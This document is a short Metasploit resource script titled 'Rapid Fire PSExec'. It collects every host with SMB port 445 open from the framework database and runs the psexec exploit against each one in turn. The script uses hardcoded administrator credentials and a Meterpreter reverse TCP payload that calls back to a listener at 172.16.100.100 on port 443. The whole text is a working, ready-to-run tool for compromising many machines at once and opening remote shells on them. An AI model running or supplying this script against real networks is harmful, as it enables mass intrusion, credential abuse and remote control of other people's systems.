Rapid Fire PSExec resource script uses port number instead of service name

rapid_fire_psexec_portnum.rb

<ruby>
hosts = []
begin
    framework.db.services.each do |service|
      if ( service.port ==445 and service.state == 'open' and service.proto == 'tcp')
          hosts << {'ip' => service.host.address}
      end
    end
end

self.run_single("set DisablePayloadHandler true")

hosts.each do |rhost|
  	self.run_single("set RHOST #{rhost['ip']}")
	self.run_single('use exploit/windows/smb/psexec')
	self.run_single('set PAYLOAD windows/meterpreter/reverse_tcp')
	self.run_single('set LHOST 172.16.100.100')
	self.run_single('set LPORT 443')
	self.run_single('set DisablePayloadHandler TRUE')
	self.run_single('set SMBUSER administrator')
	self.run_single('set SMBPASS l33tpassword')
  	self.run_single('exploit -j')
  	sleep 1
end
</ruby>